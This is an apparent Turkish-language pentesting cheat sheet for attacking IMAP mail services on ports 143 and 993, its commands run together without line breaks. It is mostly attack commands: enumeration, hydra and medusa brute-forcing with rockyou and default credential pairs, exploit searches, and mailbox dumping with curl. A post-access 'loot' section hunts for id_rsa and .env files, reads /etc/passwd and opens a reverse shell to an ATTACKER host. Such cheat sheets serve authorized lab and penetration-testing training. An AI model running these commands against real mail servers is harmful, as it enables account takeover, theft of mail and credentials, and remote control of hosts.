143,993 - Pentesting IMAP
IMAP mail
IMAP posta kutusu erişimidir. Zayıf parola = tüm mail ve credential loot. Hedef lab IP’si üzerinde komutları 143 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
143/993 doğrula.
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Capability.
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Brute.
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Mail dump.
nmap -Pn -sV -p143,993 TARGETnmap -Pn -p143,993 --script imap-capabilities,imap-brute TARGETopenssl s_client -connect TARGET:993 -quiethydra -L users.txt -P pass.txt imap://TARGETnmap -p143 --script imap-brute TARGETcurl -k imaps://user:pass@TARGET/INBOXmpop / offlineimap dumpDerin enum
Section titled “Derin enum”,993 - IMAP için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p143,993 TARGETnmap -Pn -p143 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:143' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',143));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → ,993 - IMAPKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 143 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 143nmap -p143 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit IMAPmsfconsole -q -x 'search IMAP; exit'nuclei -u https://TARGET:143 -t cves/ -silent -severity || truenuclei -u http://TARGET:143 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 143printf '' | timeout 3 nc -nv TARGET 143curl -vk --http1.0 http://TARGET:143/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”brute → IMAP login → mail secrets